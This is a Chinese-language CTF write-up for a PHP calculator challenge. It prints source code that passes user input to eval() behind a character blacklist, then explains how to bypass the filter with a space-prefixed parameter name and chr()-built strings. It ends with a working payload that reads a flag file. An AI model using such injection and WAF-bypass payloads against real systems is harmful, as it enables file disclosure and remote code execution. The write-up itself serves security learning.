网上有说这道题跟HTTP协议走私有关联,之前看过http走私的文章,但我觉得的更多的考察的就是参数过滤的绕过还有对输入字符做限制时候的绕过。
不过这里可以再学习一下http走私,还学到了一些利用PHP的字符串解析特性Bypass的方法。

题目分析

进入题目查看源码发现clac.php?num被ban了,同时在calc.php中可以拿到源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

首先对传参num进行了过滤,但是要想读出flag,又必须用num传参,这时候想到利用空格的绕过方法。补充一点知识:

php的解析规则:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

也就是说利用num传参就可以了。
我们还看到/也被ban了,再想要查看目录下的内容,就需要借助一些系统函数了。利用chr()函数即可借助数字来构造被ban的字符,来最终读取flag,最终payload如下:

/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

Comments


:D 一言句子获取中...

Loading...Wait a Minute!